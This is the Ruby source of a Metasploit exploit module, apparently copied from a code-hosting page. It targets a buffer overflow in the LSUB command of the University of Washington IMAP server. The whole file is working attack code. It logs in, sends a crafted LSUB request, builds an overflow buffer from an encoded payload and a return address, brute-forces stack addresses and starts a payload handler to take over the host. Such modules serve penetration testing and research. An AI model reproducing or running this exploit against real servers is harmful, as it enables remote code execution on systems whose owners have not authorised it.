90 lines
2.3 KiB
Ruby
90 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Brute
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include Msf::Exploit::Remote::Imap
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'UoW IMAP Server LSUB Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the 'LSUB'
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command of the University of Washington IMAP service.
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This vulnerability can only be exploited with a valid username
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and password.
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},
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'Author' => [ 'patrick', 'jduck' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2000-0284' ],
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[ 'OSVDB', '12037' ],
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[ 'BID', '1110' ],
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[ 'EDB', '284' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 964,
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'BadChars' => "\x00\x0a\x0d\x2f",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'linux',
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'Targets' =>
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[
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# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
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[ 'Linux Bruteforce',
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{
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'Platform' => 'linux',
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'Offset' => 1064,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbffffdfc },
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'Stop' => { 'Ret' => 0xbfa00000 },
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'Step' => 200
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}
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},
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]
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],
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'DisclosureDate' => 'Apr 16 2000',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /IMAP4rev1 v12\.264/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def brute_exploit(addresses)
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print_status("Trying 0x%.8x ..." % addresses['Ret'])
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if (not connect_login)
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fail_with(Failure::Unknown, "Unable to log in!")
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end
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req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
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sock.put(req)
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buf = sock.get_once
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sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
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sock.put(sploit)
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handler
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disconnect
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end
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end
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